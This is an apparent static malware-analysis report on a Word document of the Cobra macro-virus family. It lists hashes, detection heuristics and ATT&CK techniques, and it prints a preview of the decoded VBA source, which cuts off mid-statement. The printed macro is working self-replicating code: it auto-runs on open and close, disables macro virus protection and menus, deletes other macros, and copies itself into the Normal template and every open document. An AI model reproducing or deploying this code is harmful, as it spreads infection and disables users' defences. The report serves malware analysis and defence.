Cobra family — Office (OLE) malware analysis

Static analysis result for SHA-256 6a44b0bc939de3b1…

MALICIOUS

Office (OLE)

42.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a80279b5b07fe0b8acf732e379cca4cd SHA-1: 961834045deead8f63154c496bb528bcc701b3a8 SHA-256: 6a44b0bc939de3b11e507c481d8c978f418a9d7b4253d19eb918f6ed49a2d79b
180 Risk Score

Malware Insights

Cobra family · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Cobra-12, indicating it belongs to the Cobra family. The presence of AutoOpen and AutoClose VBA macros suggests an attempt to execute malicious code upon document opening or closing. The script attempts to disable macro security features and copy itself to the NormalTemplate, likely to establish persistence or facilitate further malicious activity.

Heuristics 5

  • ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-12
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17561 bytes
SHA-256: 7421103c0f51771f7049e6f39741256e98f0fd7376306799c54be7be2a6dd23a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AAX_10A"
'AAX Version 1.0A
'A intelligent member of Cobra family

Sub AutoClose()
Call MacToTemToDoc
End Sub
Sub AutoOpen()
Call MacToTemToDoc
End Sub
Sub FileNew()
Call MacToTemToDoc
Dialogs(wdDialogFileNew).Show
End Sub
Sub FileExit()
Call MacToTemToDoc
WordBasic.FileExit
End Sub
Sub MacToTemToDoc()
On Error Resume Next
CustomizationContext = NormalTemplate
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("Tools").Controls("Macro").Delete
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
CommandBars("View").Controls("Toolbars").Delete
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
Options.VirusProtection = False
Options.SaveNormalPrompt = False
MacT = False
MacD = False
For Each MacrN In NormalTemplate.VBProject.VBComponents
If (MacrN.Name <> "ThisDocument" And MacrN.Name <> "AAX_10A" And Left(MacrN.Name, 5) <> "Cobra") Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=MacrN.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
For Each MacrN In NormalTemplate.VBProject.VBComponents
If MacrN.Name = "AAX_10A" Then
MacT = True
End If
Next
If MacT = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="AAX_10A", _
Object:=wdOrganizerObjectProjectItems
End If
For Each DOC In Documents
For Each MacrN In DOC.VBProject.VBComponents
If (MacrN.Name <> "ThisDocument" And _
MacrN.Name <> "Reference to Normal" And MacrN.Name <> "AAX_10A") _
And Left(MacrN.Name, 5) <> "Cobra" Then
Application.OrganizerDelete Source:=DOC.FullName, _
Name:=MacrN.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
Next
For Each DOC In Documents
MacD = False
For Each MacrN In DOC.VBProject.VBComponents
If MacrN.Name = "AAX_10A" Then
MacD = True
End If
Next
If MacD = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=DOC.FullName, Name:="AAX_10A", _
Object:=wdOrganizerObjectProjectItems
End If
Next
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") <> "Cobra ALIAS Liton" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") = "Cobra ALIAS Liton"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOrganization") = "Shibrampur/Burichang/Comilla"
End If
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\", "") = "" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\", "") = "Cobra"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\", "Inf") = Format(Date, "mm/dd/yyyy")
End If
FileFound = False
For i = 9 To 1 Step -1
FilName = "Doc" & i
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\File List", FilName) = ActiveDocument.FullName Then
FileFound = True
End If
Next
If FileFound = False Then
For i = 8 To 1 Step -1
FilName = "Doc" & i
GetList = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\File List", FilName)
If GetList <> "" Then
FilName = "Doc" & (i + 1)
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\File List", FilName) = GetList
End If
Next
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\File List", "Doc1") = ActiveDocument.FullName
End If
IDT = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\", "Inf")
CDT = Format(Date, "mm/dd/yyyy")
If DateValue(CDT) - DateValue(IDT) > 90 Then
MCF = False
For Each CM In ActiveDocument.VBProject.VBComponents
If CM.Name = "Cobra" Then
MCF = True
End If
Next
If MCF = False 
... (truncated)